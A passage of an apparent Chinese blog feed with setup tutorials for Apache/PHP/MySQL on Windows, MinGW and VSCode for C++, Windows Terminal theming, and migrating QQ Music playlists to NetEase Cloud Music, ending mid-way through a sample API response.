<code>php.ini-production</code>)复制一份,重命名为 <code>php.ini</code>,打开它。</p><p>找到 extension_dir,有个 “On windows”的选项,将其下路径改为绝对路径,以我为例,修改完应为:</p><p><code>extension_dir = "D:\Server\php\ext"</code>。</p><p>然后找到 <code>extension=mysqli</code>,将前面的注释去除。</p><div class="info"><p>在高版本的 PHP 中,php_mysql.dll 已经被去除了,如果你看过别的教程可能会找不到这个文件。</p></div><h3 id="检查配置">检查配置</h3><p>在 <code>Server\Apache24\htdocs</code> 下新建一个内容为 <code><?php phpinfo(); ?></code> 的 <code>index.php</code>,。</p><p>命令行运行 <code>httpd</code>,直接打开 <a href="http://127.0.0.1/">http://127.0.0.1/</a> 或者 <a href="http://localhost/">http://localhost/</a> 看有没有加载出网页。</p><p>如果没有,说明 Apache 中的 <strong>DirectoryIndex</strong> 配置错了。</p><p>接着看输出的内容,重点检查 <strong>Loaded Configuration File</strong> 是否正确,然后查看 <strong>mysqli</strong> 是否加载。</p><p>目前主要用到的就只有这些,如果一切正常,那么恭喜你成功了。</p><p>如果有什么出入的可以在下面评论留言,我会尽快回复的。</p>]]></content>
<summary type="html"><p>要想学习 CTF,就要学很多杂七杂八的东西,相关的环境也是必不可少。</p>
<p>下文将带你一起在 Windows 下配置 Apache/PHP/MySQL 环境。</p>
<p><strong>想省事直接装集成开发环境的朋友可以直接划走。</strong></p></summary>
<category term="极客" scheme="https://sxyugao.top/categories/%E6%9E%81%E5%AE%A2/"/>
<category term="环境配置" scheme="https://sxyugao.top/categories/%E6%9E%81%E5%AE%A2/%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/"/>
<category term="软件" scheme="https://sxyugao.top/tags/%E8%BD%AF%E4%BB%B6/"/>
</entry>
<entry>
<title>VSCode配置C++环境</title>
<link href="https://sxyugao.top/p/92e56494.html"/>
<id>https://sxyugao.top/p/92e56494.html</id>
<published>2021-09-24T12:42:57.000Z</published>
<updated>2022-02-23T04:02:11.665Z</updated>
<content type="html"><![CDATA[<div class="info"><p>以下操作适用于学生等非专业群体,并不适合制作专业工程的人</p></div><p>由于疫情的原因,刚刚才到学校。发现有不少小伙伴不知道该怎么配置 C++ 环境并使用 VSCode。没关系,看完这篇文章你就会了。</p><p>不了解 VSCode 的小伙伴可以<a href="https://sxyugao.top/p/c92482f1.html#1%E3%80%81Visual-Studio-Code">点这里</a>,是我自己个人的一些主观评价,不一定准确。</p><span id="more"></span><h2 id="配置-C-环境">配置 C++ 环境</h2><p>笔者使用的是 MinGW64,下面的百度网盘是我以前安装后重新压缩的版本,精简了目录结构,而且无需再次下载,比较推荐。</p><blockquote><p>链接:<a href="https://pan.baidu.com/s/1J4qINTwFEFh9jWxPG1s11Q">https://pan.baidu.com/s/1J4qINTwFEFh9jWxPG1s11Q</a><br>提取码:njlg</p></blockquote><p>不过好久没用官方的安装版了,现在安装的目录结构是不是还是那么冗余笔者也不了解。</p><p>官网链接:<a href="https://www.mingw-w64.org/">https://www.mingw-w64.org/</a> ,下载自己系统对应版本的安装即可。</p><p>如果有什么官方版的问题,可以在评论区留言告诉我,我会尽量解决。</p><div class="info"><p>因此以下教程均按照我个人压缩过的版本为准,已经配置好的同学可以直接跳过。</p></div><p>以系统盘为 C 盘为例,将下载好的 MinGW64.7z 放到 C 盘,然后解压。</p><p>解压后的目录结构应与下图类似:</p><p><img src="https://i.loli.net/2021/09/25/UQ71nbOw2XqEgc5.png" alt=""></p><p>之后我们去配置环境变量,环境变量的科普可以自行百度,这里就不再赘述。</p><p>适用于较老版本的 Windows10 或者更老版本的 Windows:</p><p><strong>控制面板 > 系统和安全 > 系统 > 高级系统设置</strong></p><p>适用于新版本的 Windows10:</p><p><strong>设置 > 系统 > 关于 > 高级系统设置</strong></p><p>然后找到“高级”,有一个环境变量选项,点进去,在 Path 下添加 C:\MinGW64\bin,保存并退出。</p><p>最后在任意目录下打开 cmd,输入 <code>g++</code>,出现以下信息便代表你成功了。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">g++.exe: fatal error: no input files</span><br><span class="line">compilation terminated.</span><br></pre></td></tr></table></figure><h2 id="安装-VSCode">安装 VSCode</h2><p>我们需要下载一个 VSCode,官网:<a href="https://code.visualstudio.com/%E3%80%82">https://code.visualstudio.com/。</a></p><p>安装选项可以选择右键菜单,这样打开会方便一点点,当然不配置一直下一步也是可以的。</p><p>打开后依照个人需求选择是否安装语言包。</p><h3 id="安装-C-C-扩展">安装 C/C++ 扩展</h3><p>在左侧找到扩展,然后搜索 “C/C++”,安装第一个名字就是这个的。</p><p>这个扩展的用途是提供代码补全,代码格式化等功能。当然它的用途远不止这些,不过对于我们现在来说掌握这些就够用了。</p><div class="warning"><p>此步之前请务必保证已经配置好 C++ 环境,该扩展会自动检索已存在的环境并添加头文件。</p><p>如果未配置成功,扩展将找不到头文件并报错,需要手动添加,较为麻烦且容易遗漏。</p></div><p>部分电脑出现安装后无法使用的情况(如我一个舍友的笔记本),也没什么关系,缺少代码补全只是让你敲代码的时候稍微难受一点,不是决定性的。</p><h3 id="安装-Code-Runner-扩展">安装 Code Runner 扩展</h3><p>这个扩展是用来编译执行我们的程序的。</p><p>和之前同样的方式安装这个扩展,然后打开 <strong>设置 > 扩展 > Run Code configuration</strong> ,找到 “Executor Map” 进行配置。</p><p>我的配置如下:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"code-runner.executorMap"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"cpp"</span><span class="punctuation">:</span> <span class="string">"cd $dir && g++ \"$fileName\" -o \"$fileNameWithoutExt\" -std=c++11 -Wall -Wl,--stack=1000000000 && start cmd /c \"\"$fileNameWithoutExt\" & pause\""</span><span class="punctuation">,</span></span><br><span class="line"><span class="punctuation">}</span><span class="punctuation">,</span></span><br></pre></td></tr></table></figure><p>稍微解释一下。</p><p><code>$dir</code> 和 <code>$fileNameWithoutExt</code> 都是 VSCode 自带的变量,<code>$dir</code> 表示当前文件所在的目录,<code>$fileNameWithoutExt</code> 则表示去除后缀的文件名。</p><p><code>&&</code> 连接符需要之前命令不报错才会继续,<code>&</code> 连接符不管之前有无错误都会继续。</p><p><code>g++</code> 后面跟着的是编译命令,<code>-std=c++11</code> 表示使用 C++11 标准,<code>-Wall</code> 表示打开代码警告。</p><p><code>-Wl,--stack=1000000000</code> 用来申请更多的栈空间,防止递归层数过多爆栈。</p><p>配置好以后就可以点击右上角的小箭头来编译运行了。</p><p>还有一些设置比如 Ignore Selection 和 Save File Before Run 建议勾选。</p><p>前者是给一些解释型语言用的,如果不勾选会出现单独编译选中内容的情况;后者是给运行前忘记保存文件时用的。</p><div class="danger"><p>不要勾选设置里的 Run In Terminal,可能导致报错。</p></div><p>其他的一些配置就自己摸索吧。<s><strong>才不是想摸鱼了呢</strong></s></p>]]></content>
<summary type="html"><div class="info">
<p>以下操作适用于学生等非专业群体,并不适合制作专业工程的人</p>
</div>
<p>由于疫情的原因,刚刚才到学校。发现有不少小伙伴不知道该怎么配置 C++ 环境并使用 VSCode。没关系,看完这篇文章你就会了。</p>
<p>不了解 VSCode 的小伙伴可以<a href="https://sxyugao.top/p/c92482f1.html#1%E3%80%81Visual-Studio-Code">点这里</a>,是我自己个人的一些主观评价,不一定准确。</p></summary>
<category term="极客" scheme="https://sxyugao.top/categories/%E6%9E%81%E5%AE%A2/"/>
<category term="环境配置" scheme="https://sxyugao.top/categories/%E6%9E%81%E5%AE%A2/%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/"/>
<category term="软件" scheme="https://sxyugao.top/tags/%E8%BD%AF%E4%BB%B6/"/>
</entry>
<entry>
<title>Windows Terminal,高颜值的终端你值得拥有</title>
<link href="https://sxyugao.top/p/85171339.html"/>
<id>https://sxyugao.top/p/85171339.html</id>
<published>2020-10-04T02:39:16.000Z</published>
<updated>2022-02-23T04:02:19.890Z</updated>
<content type="html"><![CDATA[<p>这是一篇本该在暑假就该写的文章,但是由于我是一只鸽子,所以又咕咕咕了,这次趁国庆假期的最后一天填一下坑。</p><p>本篇文章将向你介绍微软推出的一款 Windows 下的高颜值终端:Windows Terminal。</p><p>强烈建议本文配合 <a href="/p/aa39dfc6">美化你的PowerShell</a> 食用。</p><p><strong>The new Windows Terminal and the original Windows console host, all in the same place!</strong></p><span id="more"></span><p>项目主页:<a href="https://github.com/microsoft/terminal">https://github.com/microsoft/terminal</a></p><p>很早的时候就看见了微软的这个项目,不过那时候仍然是预览版,所以也没在意。</p><p>今年暑假的时候突然想起还有这个项目,去看了一下,好家伙,正式版已经出了 3 个月了,赶紧去下一个尝尝鲜。</p><p>应用商店可以直接搜索到。</p><div class="warning"><p>系统要求为“Windows 10 版本 18362.0 或更高版本”,非 Windows10 读者可以把这个页面关掉了(笑)。</p></div><h2 id="下载">下载</h2><p>官方最为推荐的是通过 <a href="https://www.microsoft.com/zh-cn/p/windows-terminal/9n0dx20hk701">Microsoft Store</a> 下载,官网的文档也只有这个方式。</p><p>但是如果你不想这样,当然也可以采取别的方式,具体请参考<a href="https://github.com/microsoft/terminal#installing-and-running-windows-terminal">这个页面</a>。</p><h2 id="外观美化">外观美化</h2><p>刚下好的终端打开可能没有想象中的那么好看,不过没关系,我们可以美化啊。</p><p>配置文件通过标题栏中向下的小箭头中的“设置”打开,注意是 <code>json</code> 格式的,对新手不友好,感觉未来应该会出 GUI 版本的(一口毒奶)。</p><p>此外,配置文件保存后终端会自动更新,可以直接看到更改后的效果,因此没必要将终端关闭再打开。</p><h3 id="字体">字体</h3><p>直接参考<a href="/p/aa39dfc6#%E5%AE%89%E8%A3%85%E5%AD%97%E4%BD%93">之前的文章</a>,个人是使用更纱黑体 (Sarasa Term SC) 的。</p><p>由于 Pjax 的缘故,记得在新标签页中打开该链接,不过也没多大关系。(笑)</p><h3 id="颜色主题">颜色主题</h3><p>还是熟悉的地方,找到 <a href="https://github.com/mbadolato/iTerm2-Color-Schemes">iTerm2 Color Schemes</a>,点开 <code>windowsterminal</code> 文件夹,找到自己喜欢的主题,将它复制到 <code>settings.json</code> 中。</p><p>以 <a href="https://github.com/mbadolato/iTerm2-Color-Schemes/blob/master/windowsterminal/AdventureTime.json">AdventureTime</a> 举个例子,复制全部内容,然后找到 <code>settings.json</code> 中的片段</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Add custom color schemes to this array.</span></span><br><span class="line"><span class="comment">// To learn more about color schemes, visit https://aka.ms/terminal-color-schemes</span></span><br><span class="line"><span class="attr">"schemes"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"><span class="punctuation">]</span><span class="punctuation">,</span></span><br></pre></td></tr></table></figure><p>粘贴进去结果如下:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Add custom color schemes to this array.</span></span><br><span class="line"><span class="comment">// To learn more about color schemes, visit https://aka.ms/terminal-color-schemes</span></span><br><span class="line"><span class="attr">"schemes"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"AdventureTime"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"black"</span><span class="punctuation">:</span> <span class="string">"#050404"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"red"</span><span class="punctuation">:</span> <span class="string">"#bd0013"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"green"</span><span class="punctuation">:</span> <span class="string">"#4ab118"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"yellow"</span><span class="punctuation">:</span> <span class="string">"#e7741e"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"blue"</span><span class="punctuation">:</span> <span class="string">"#0f4ac6"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"purple"</span><span class="punctuation">:</span> <span class="string">"#665993"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"cyan"</span><span class="punctuation">:</span> <span class="string">"#70a598"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"white"</span><span class="punctuation">:</span> <span class="string">"#f8dcc0"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"brightBlack"</span><span class="punctuation">:</span> <span class="string">"#4e7cbf"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"brightRed"</span><span class="punctuation">:</span> <span class="string">"#fc5f5a"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"brightGreen"</span><span class="punctuation">:</span> <span class="string">"#9eff6e"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"brightYellow"</span><span class="punctuation">:</span> <span class="string">"#efc11a"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"brightBlue"</span><span class="punctuation">:</span> <span class="string">"#1997c6"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"brightPurple"</span><span class="punctuation">:</span> <span class="string">"#9b5953"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"brightCyan"</span><span class="punctuation">:</span> <span class="string">"#c8faf4"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"brightWhite"</span><span class="punctuation">:</span> <span class="string">"#f6f5fb"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"background"</span><span class="punctuation">:</span> <span class="string">"#1f1d45"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"foreground"</span><span class="punctuation">:</span> <span class="string">"#f8dcc0"</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">]</span><span class="punctuation">,</span></span><br></pre></td></tr></table></figure><p>最后保存即可。</p><p>当然熟悉美术设计的大佬也可以自己配色。</p><h3 id="背景">背景</h3><p>直接上我的配置:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"list"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="comment">// Make changes here to the powershell.exe profile.</span></span><br><span class="line"> <span class="attr">"guid"</span><span class="punctuation">:</span> <span class="string">"{61c54bbd-c2c6-5271-96e7-009a87ff44bf}"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"Windows PowerShell"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"commandline"</span><span class="punctuation">:</span> <span class="string">"powershell.exe"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"hidden"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"fontFace"</span><span class="punctuation">:</span> <span class="string">"Sarasa Term SC"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"colorScheme"</span><span class="punctuation">:</span> <span class="string">"AdventureTime"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"useAcrylic"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"acrylicOpacity"</span><span class="punctuation">:</span> <span class="number">0.85</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"backgroundImage"</span><span class="punctuation">:</span> <span class="string">"D://Pictures/Wallpaper.jpg"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"backgroundImageOpacity"</span><span class="punctuation">:</span> <span class="number">0.2</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">]</span></span><br></pre></td></tr></table></figure><p><code>fontFace</code> 终端字体;</p><p><code>colorScheme</code> 上文配置的颜色主题,把 <code>name</code> 填进去就行;</p><p><code>useAcrylic</code> 是否启用毛玻璃效果,默认好像是 <code>false</code>;</p><p><code>acrylicOpacity</code> 毛玻璃程度,取值 0 ~ 1;</p><p><code>backgroundImage</code> 终端背景图片;</p><p><code>backgroundImageOpacity</code> 终端背景图片透明度,取值 0 ~ 1;</p><div class="info"><p>不同的 shell,可以配置不同的背景,方法同上。</p></div><p>应该还有其他不少配置,详见<a href="https://docs.microsoft.com/zh-cn/windows/terminal/">官网</a>,其他的美化大概也用不到?</p><p>话说这个文档机翻痕迹严重,不如直接看英语原版。</p><h2 id="文件资源管理器右键打开">文件资源管理器右键打开</h2><div class="info"><p>在最新版本的 Windows Terminal 中已经集成这项功能了,安装最新版本的可以无视这些内容。</p></div><p>我们可以通过在文件资源管理器的路径栏中输入 <code>wt -d .</code> 来实现在当前文件夹下打开 Windows Terminal 的功能,但这不够舒适,怎么在右键菜单中加入这个命令呢?我们可以借助<a href="https://github.com/kerol2r20/Windows-terminal-context-menu">一位大佬的项目</a>来完成。</p><p>使用非常简单,就按着<a href="https://github.com/kerol2r20/Windows-terminal-context-menu#install">指南</a>来就行。</p><p>当然如果你不嫌麻烦,可以自己去修改注册表,参考<a href="https://sspai.com/post/61098">这篇文章</a>或者是自己去寻找其他资料。</p><h2 id="最终成果">最终成果</h2><p>辣鸡笔记本,估计要到大学才换。(快了快了)</p><p><img src="https://i.loli.net/2020/10/04/RMifGuJ3zI1mKx9.png" alt=""></p>]]></content>
<summary type="html"><p>这是一篇本该在暑假就该写的文章,但是由于我是一只鸽子,所以又咕咕咕了,这次趁国庆假期的最后一天填一下坑。</p>
<p>本篇文章将向你介绍微软推出的一款 Windows 下的高颜值终端:Windows Terminal。</p>
<p>强烈建议本文配合 <a href="/p/aa39dfc6">美化你的PowerShell</a> 食用。</p>
<p><strong>The new Windows Terminal and the original Windows console host, all in the same place!</strong></p></summary>
<category term="极客" scheme="https://sxyugao.top/categories/%E6%9E%81%E5%AE%A2/"/>
<category term="Windows" scheme="https://sxyugao.top/categories/%E6%9E%81%E5%AE%A2/Windows/"/>
<category term="软件" scheme="https://sxyugao.top/tags/%E8%BD%AF%E4%BB%B6/"/>
</entry>
<entry>
<title>在电脑上将QQ音乐导入到网易云</title>
<link href="https://sxyugao.top/p/41be36a7.html"/>
<id>https://sxyugao.top/p/41be36a7.html</id>
<published>2020-05-03T13:34:35.000Z</published>
<updated>2022-01-07T13:57:23.227Z</updated>
<content type="html"><![CDATA[<p>最近帮一位朋友把 QQ 音乐歌单里的歌曲导入到网易云音乐,虽然手机端有音乐导入的选项,但她似乎觉得不是很好用。</p><p>在网上也没有这类的教程,全是把网易云导入到 QQ 音乐的(笑),只好借助别人造好的轮子实现了一个。</p><p>链接:<a href="https://github.com/sxyugao/QQMusicToNetease">https://github.com/sxyugao/QQMusicToNetease</a></p><p>以下是实现过程,不感兴趣的朋友可以不看。</p><span id="more"></span><p>将 <a href="https://github.com/jsososo/QQMusicApi">QQMusicApi</a> 和 <a href="https://github.com/Binaryify/NeteaseCloudMusicApi">NeteaseCloudMusicApi</a> 克隆到本地,先熟悉一下接口。</p><p>节选一段通过 QQMusicApi 获得的 QQ 音乐歌单信息:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"albumdesc"</span><span class="punctuation">:</span> <span class="string">""</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"albumid"</span><span class="punctuation">:</span> <span class="number">1526209</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"albummid"</span><span class="punctuation">:</span> <span class="string">"0007oL0R1hDyxV"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"albumname"</span><span class="punctuation">:</span> <span class="string">"君の名は。 (《你的名字。》动画电影原声带)"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"alertid"</span><span class="punctuation">:</span> <span class="number">2</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"belongCD"</span><span class="punctuation">:</span> <span class="number">21</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"cdIdx"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"interval"</span><span class="punctuation">:</span> <span class="number">243</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"isonly"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"label"</span><span class="punctuation">:</span> <span class="string">"4611686018431582240"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"msgid"</span><span class="punctuation">:</span> <span class="number">13</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"pay"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"payalbum"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"payalbumprice"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"paydownload"</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"payinfo"</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"payplay"</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"paytrackmouth"</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"paytrackprice"</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"timefree"</span><span class="punctuation">:</span> <span class="number">0</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"preview"</span><span class="punctuation">:</span> <span class="punctuation">{</span> <span class="attr">"trybegin"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span> <span class="attr">"tryend"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span> <span class="attr">"trysize"</span><span class="punctuation">:</span> <span class="number">960887</span> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"rate"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"singer"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"id"</span><span class="punctuation">:</span> <span class="number">9962</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"mid"</span><span class="punctuation">:</span> <span class="string">"000f1b6W1wzyRN"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"RADWIMPS (ラッドウィンプス)"</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"size128"</span><span class="punctuation">:</span> <span class="number">3893085</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"size320"</span><span class="punctuation">:</span> <span class="number">9732393</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"size5_1"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"sizeape"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"sizeflac"</span><span class="punctuation">:</span> <span class="number">38430893</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"sizeogg"</span><span class="punctuation">:</span> <span class="number">5040946</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"songid"</span><span class="punctuation">:</span> <span class="number">107762026</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"songmid"</span><span class="punctuation">:</span> <span class="string">"000HHwBt3KESHr"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"songname"</span><span class="punctuation">:</span> <span class="string">"三葉のテーマ (三叶的主题音乐)"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"songorig"</span><span class="punctuation">:</span> <span class="string">"三葉のテーマ"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"songtype"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"strMediaMid"</span><span class="punctuation">:</span> <span class="string">"000rw7Do2ey9VI"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"stream"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"switch"</span><span class="punctuation">:</span> <span class="number">17401089</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"type"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"vid"</span><span class="punctuation">:</span> <span class="string">""</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>稍微分析一下,便会发现用 <code>songorig</code> 字段去搜索是最为靠谱的。</p><p>下面是通过 NeteaseCloudMusicApi 搜索到的歌曲信息:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"result"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"songs"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"id"</span><span class="punctuation">:</span> <span class="number">1406638282</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"三葉のテーマ"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"artists"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"id"</span><span class="punctuation">:</span> <span class="number">33288488</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"屈艳宇"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"picUrl"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"alias"</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"albumSize"</span><span 